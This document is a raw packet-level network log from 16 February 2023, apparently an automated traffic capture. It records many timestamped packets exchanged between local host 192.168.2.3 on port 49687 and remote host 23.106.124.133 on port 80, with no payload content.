Feb 16, 2023 13:57:19.696224928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696233988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696254015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696263075 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696280956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696291924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696306944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696319103 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696343899 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696382046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696408033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696423054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696434975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696454048 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696460962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696475029 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696487904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696501017 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696515083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696543932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696558952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696614981 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696650982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696666956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696693897 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696718931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696738005 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696744919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696770906 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696775913 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696798086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696806908 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696825981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696830034 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696852922 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696855068 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696880102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696907043 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696940899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.696940899 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696965933 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.696970940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697000027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697000980 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697025061 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697030067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697057962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697058916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697078943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697086096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697101116 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697112083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697130919 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697139978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697156906 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697170019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697185993 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697197914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697212934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697227001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697242022 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697256088 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697272062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697285891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697299004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697314978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697329998 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697340965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697357893 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697366953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697382927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697395086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697410107 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697422028 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697438955 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697447062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697464943 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697473049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697491884 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697499037 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697520018 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697526932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697545052 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697554111 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697572947 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697581053 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697602034 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697607994 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697623968 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697634935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697650909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697660923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697676897 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697688103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697704077 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697714090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697730064 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697740078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697757006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697767019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697782993 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697793961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697808027 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697820902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697834969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697846889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697864056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697874069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697889090 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697901964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697913885 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697928905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697942972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697958946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.697972059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.697999954 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.701669931 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.734390974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.734437943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.734468937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.734473944 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.734517097 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.734517097 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735654116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735697985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735729933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735759974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735771894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735771894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735789061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735810041 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735820055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735848904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735851049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735877991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735907078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735934019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735934973 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735934973 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735961914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.735985994 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735985994 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.735990047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736021042 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736031055 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736031055 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736047029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736077070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736104965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736114025 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736114025 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736133099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736160994 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736171961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736171961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736187935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736216068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736232042 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736232042 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736243963 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736274958 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736274004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736304998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736323118 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736323118 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736335039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736366034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736388922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736388922 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736392021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736421108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736429930 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736429930 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736449003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736476898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736493111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736506939 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736536026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736565113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736584902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736584902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736593008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736615896 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736632109 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736632109 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736644030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736671925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736676931 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736700058 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736726046 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736752987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736754894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736754894 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736799002 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736804008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736804008 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736835003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736875057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736902952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736912966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736912966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736929893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.736967087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.736967087 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737104893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737178087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737278938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737298012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737308979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737338066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737360001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737411022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737440109 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737447023 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737468004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737497091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737515926 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737515926 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737526894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737549067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737555981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737584114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737595081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737595081 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737612009 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737643003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737649918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737649918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737675905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737705946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737713099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737713099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737736940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737768888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737778902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737778902 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737796068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737824917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737835884 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737835884 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737854004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737883091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737907887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737907887 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737910032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737938881 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.737948895 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737948895 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.737971067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738001108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738006115 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738006115 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738032103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738060951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738091946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738101006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738101006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738122940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738149881 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738153934 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738178015 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738207102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738224030 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738224030 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738233089 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738264084 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738274097 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738274097 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738293886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738311052 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738323927 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738353014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738383055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738396883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738396883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738481998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738521099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738521099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738528013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738603115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738650084 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738650084 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738667965 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738708973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738734961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738765001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738775015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738775015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738791943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738807917 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738821983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738850117 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738874912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738874912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738878012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738908052 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738924026 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738924980 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738935947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738949060 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.738966942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738993883 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.738993883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739022970 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739051104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739073038 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739073038 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739079952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739104033 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739109993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739140034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739168882 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739190102 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739197969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739224911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739231110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739231110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739253998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739267111 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739285946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739311934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739331007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739331961 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739339113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739377975 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739377975 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739382029 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739411116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739437103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739453077 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739453077 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739465952 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739496946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739506006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739506006 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739523888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739551067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.739568949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739568949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.739579916 CET	80	49687	23.106.124.133	192.168.2.3
